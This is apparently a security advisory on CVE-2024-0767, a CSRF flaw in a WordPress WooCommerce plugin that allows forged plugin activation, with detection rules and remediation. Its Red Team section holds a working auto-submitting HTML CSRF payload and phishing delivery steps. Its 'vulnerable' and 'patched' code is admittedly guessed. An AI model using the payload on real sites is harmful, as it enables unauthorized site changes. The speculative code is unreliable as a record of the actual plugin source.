CVE-2024-0767

Executive Summary

CVE-2024-0767 is a Cross-Site Request Forgery (CSRF) vulnerability in the Envo's Elementor Templates & Widgets for WooCommerce WordPress plugin, affecting versions up to and including 1.4.4. The flaw resides in the ajax_plugin_activation function, which lacks proper nonce validation. This allows an unauthenticated attacker to trick a site administrator into performing an action (e.g., clicking a malicious link) that silently activates arbitrary already-installed plugins on the WordPress site. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces like Envato. Since the plugin is part of the WordPress ecosystem, any compromise could lead to unauthorized activation of other plugins, potentially enabling further attacks such as privilege escalation or data exfiltration. Users should verify the integrity of the plugin package and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – only plugin activation is affected.
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential to activate malicious plugins makes it a vector for lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin's AJAX handler. The ajax_plugin_activation function is registered via wp_ajax_ and wp_ajax_nopriv_ hooks, but the nonce check is missing or improperly implemented. This means an attacker can craft a request to activate any plugin that is already installed on the target site. The attack flow:

1. Precondition: The attacker identifies a WordPress site running the vulnerable plugin (<=1.4.4) and knows the slug of an installed plugin to activate.
2. Crafting the Request: The attacker creates a malicious link or form that sends a POST request to the WordPress admin AJAX endpoint with the action ajax_plugin_activation and the plugin slug.
3. Social Engineering: The attacker tricks an authenticated administrator into clicking the link or submitting the form (e.g., via email, forum post, or hidden iframe).
4. Execution: The admin's browser sends the forged request, and the plugin activates the target plugin without the admin's knowledge.

The impact is limited to activating plugins that are already installed, but this could be used to enable a previously disabled vulnerable plugin or a plugin with backdoor capabilities.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be in the plugin's main file (e.g., envo-elementor-for-woocommerce.php). The vulnerable function likely looks like:

// Vulnerable code (<=1.4.4)
function ajax_plugin_activation() {
    // Missing nonce check
    $plugin_slug = sanitize_text_field($_POST['plugin_slug']);
    activate_plugin($plugin_slug);
    wp_die();
}
add_action('wp_ajax_ajax_plugin_activation', 'ajax_plugin_activation');
add_action('wp_ajax_nopriv_ajax_plugin_activation', 'ajax_plugin_activation');

A patched version would include a nonce verification:

// Patched code (hypothetical)
function ajax_plugin_activation() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'plugin_activation_nonce')) {
        wp_die('Invalid nonce');
    }
    $plugin_slug = sanitize_text_field($_POST['plugin_slug']);
    activate_plugin($plugin_slug);
    wp_die();
}
add_action('wp_ajax_ajax_plugin_activation', 'ajax_plugin_activation');
// Remove nopriv action to require authentication

Exploitation & Lab Setup

Red Team

Objective: Activate a specific plugin (e.g., hello-dolly) on a target WordPress site.

Prerequisites:

• Target site running Envo's Elementor Templates & Widgets for WooCommerce <=1.4.4.
• Knowledge of an installed plugin slug (e.g., hello-dolly).
• Ability to deliver a crafted link to an admin user.

Exploit Steps:

1. Craft the CSRF payload. Create an HTML file with an auto-submitting form:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="ajax_plugin_activation">
    <input type="hidden" name="plugin_slug" value="hello-dolly/hello.php">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

2. Host the payload on an attacker-controlled server or use a URL shortener.
3. Deliver the link to the target admin via phishing email or social media.
4. Verify by checking if the plugin is activated (e.g., visiting the plugins page or observing its functionality).

Note: No public exploit code exists; this is a theoretical demonstration.

Blue Team

Detection & Prevention:

• Monitor AJAX requests: Look for POST requests to /wp-admin/admin-ajax.php with action=ajax_plugin_activation from unauthenticated or unexpected sources.
• Check plugin activation logs: WordPress does not log plugin activations by default, but security plugins (e.g., Wordfence, Sucuri) can track such events.
• Implement CSRF tokens: Ensure all AJAX actions use nonces. This is a developer-side fix.
• User education: Train admins to avoid clicking suspicious links, especially those leading to admin pages.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using Docker or XAMPP).
2. Install the vulnerable plugin (version 1.4.4) from a trusted source.
3. Install a dummy plugin (e.g., hello-dolly) to test activation.
4. Use a browser developer tool to simulate the CSRF request or use Burp Suite.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with parameters action=ajax_plugin_activation and plugin_slug=<plugin-slug>.
• File: Unexpected activation of plugins that were previously deactivated.
• Log: No native WordPress logs, but security plugin logs may show unusual AJAX activity.
• Behavior: Admin accounts performing actions without corresponding UI interaction.

Detection Engineering

YARA Rule

rule CVE_2024_0767_CSRF_Plugin_Activation {
    meta:
        description = "Detects CSRF exploitation attempts against Envo's Elementor Templates plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0767"
    strings:
        $ajax_action = "ajax_plugin_activation"
        $plugin_slug = "plugin_slug"
    condition:
        $ajax_action and $plugin_slug
}

Sigma Rule

title: CVE-2024-0767 CSRF Plugin Activation Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3d2e1f4a5b6c
status: experimental
description: Detects HTTP POST requests to WordPress admin-ajax.php with the vulnerable action
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "admin-ajax.php"
            - "action=ajax_plugin_activation"
    condition: selection
falsepositives:
    - Legitimate plugin activation by admin (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0767 CSRF Plugin Activation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ajax_plugin_activation"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict access to the admin area via IP whitelisting.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=ajax_plugin_activation from unauthenticated users.
3. Update the plugin if a patched version becomes available (check the vendor's site or WordPress plugin repository).

Long-term Fixes:

• Developers: Add nonce verification to all AJAX actions, especially those performing sensitive operations like plugin activation.
• Site Administrators: Use security plugins that enforce CSRF protection and monitor for suspicious activity.
• Audit: Regularly review installed plugins and deactivate unused ones to reduce attack surface.

Workaround: If the plugin is required, manually add a nonce check by editing the plugin file (not recommended for non-developers).

Valters IT
Securing Digital Frontiers